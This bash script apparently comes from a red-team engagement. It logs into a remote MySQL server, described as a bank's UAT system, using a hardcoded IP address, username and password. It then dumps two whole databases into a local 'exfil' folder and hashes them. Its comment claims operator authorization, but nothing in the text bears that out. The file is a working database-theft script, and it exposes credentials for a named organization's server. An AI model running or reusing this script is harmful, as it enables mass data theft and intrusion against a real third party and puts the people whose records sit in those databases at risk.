#!/usr/bin/env bash
# MB Bank UAT MySQL full exfil — read-only SELECT, operator-authorized full redteam.
# Output: redteam/gitlab_vdss_com_vn/exfil/ ; chain-of-custody sha256.
set -u
D=/root/ir-assessment/redteam/gitlab_vdss_com_vn
OUT="$D/exfil"
mkdir -p "$OUT"
H=14.225.11.28; P=3306; U=tamdt
export MYSQL_PWD='tamdt'
TS=$(date -u +%Y%m%dT%H%M%SZ)

dump_db () {
  local db=$1
  local f="$OUT/${db}_${TS}.sql"
  # read-only: --single-transaction (no locks), --skip-lock-tables, routines/triggers off-scope
  mysqldump -h "$H" -P "$P" -u "$U" --single-transaction --skip-lock-tables \
            --no-tablespaces --set-gtid-purged=OFF "$db" > "$f" 2>"$f.err"
  if [ -s "$f" ]; then
    echo "[ok] $db -> $(basename "$f") ($(du -h "$f" | cut -f1))"
    rm -f "$f.err"
  else
    echo "[FAIL] $db: $(cat "$f.err")"
  fi
}

for db in sc_data vschool; do dump_db "$db"; done

# chain of custody
( cd "$OUT" && sha256sum *.sql > "SHA256SUMS_${TS}.txt" )
echo "=== exfil dir ==="
ls -la "$OUT"
echo "=== row sanity: table counts vs dump inserts ==="
for db in sc_data vschool; do
  f="$OUT/${db}_${TS}.sql"
  echo "[$db] INSERT statements: $(grep -c 'INSERT INTO' "$f" 2>/dev/null)"
done
